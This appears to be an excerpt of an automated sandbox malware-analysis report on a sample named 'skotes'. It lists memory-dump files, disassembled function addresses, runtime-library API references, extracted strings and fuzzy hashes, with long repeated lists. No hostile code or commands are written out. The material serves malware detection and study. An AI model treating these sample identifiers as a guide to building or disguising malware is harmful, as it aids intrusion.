Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 8c616796b3954904296038db12ff8d3602f22b14b9f4e6271fefe8b7eb44d81b
Instruction ID: 4d764e5c48324f0c5b1191037f73d3098c1389f8d4bf2d86146803e79e1cbc4c
Opcode Fuzzy Hash: 8c616796b3954904296038db12ff8d3602f22b14b9f4e6271fefe8b7eb44d81b
Instruction Fuzzy Hash: 3E316D71E002058BDB15FFA8C9416EEB7F6AF4A310B24406EE445E7351DB759E028F95

Function 006CCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006CCC66

Strings

vl, xrefs: 006CCBE1

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vl
API String ID: 3213747228-3645925279
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: bf3f50399607ca427c2d8a53b31435ac0948c388bf40e27d1b47b3f6881d54bd
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: F7B103329046459FDB11CF68C841FFEBBA6EF4A360F1441AEE859DB341D6349D42CBA4

Function 006C1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 006C1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C1C2A

Strings

pContext, xrefs: 006C1C22
switchState, xrefs: 006C1B5E

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 8a897c565e5d806abb3cb20c84800010b846a0c923153de145e2d723b40b1bf3
Instruction ID: acdf9818a8ae802395152e91049243edacface1cee6b0af33b0f966a46bdc3eb
Opcode Fuzzy Hash: 8a897c565e5d806abb3cb20c84800010b846a0c923153de145e2d723b40b1bf3
Instruction Fuzzy Hash: A2318F35A00214ABCB04EB64C895EBDB3B7EF47310F21856DE9119B392EB75EE01CA94

Function 006C4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 006C4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 006C4E86
PMDtoOffset.LIBCMT ref: 006C4EAC

Strings

Bad dynamic_cast!, xrefs: 006C4EEE

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: b34934bfbb5fe86962fd8fe43aaa00fac2a345866b776578efce6466600b738b
Instruction ID: c7efd574792f08d5da63b306a89788fcb5e7c21d88dd7de520f0f2a65b3e4017
Opcode Fuzzy Hash: b34934bfbb5fe86962fd8fe43aaa00fac2a345866b776578efce6466600b738b
Instruction Fuzzy Hash: 7521C472A04205AFCB24DFA8DD56FBA77BAFF98720B11811DF91197280DF31ED008695

Function 006C727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006C72BE

Strings

.exe, xrefs: 006C72CB
.com, xrefs: 006C72FE
.cmd, xrefs: 006C72DC
.bat, xrefs: 006C72ED

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e86a1e8911ad4873e749128841ad76e8564544bd419660f2f02278a739e49c76
Instruction ID: da3b71ff8606f729845141cd3f120be22311217cd8dc8bf44e67a84a085dd7cd
Opcode Fuzzy Hash: e86a1e8911ad4873e749128841ad76e8564544bd419660f2f02278a739e49c76
Instruction Fuzzy Hash: D101C8277087A725661510599D03FB7179BCBC1BB4B1A402EFC58FB3C1DF54DC4265A8

Function 006AFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006AFB06

Strings

GetThreadGroupAffinity, xrefs: 006AFA93
SetThreadGroupAffinity, xrefs: 006AFA87
kernel32.dll, xrefs: 006AFA7A
GetCurrentProcessorNumberEx, xrefs: 006AFABE

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

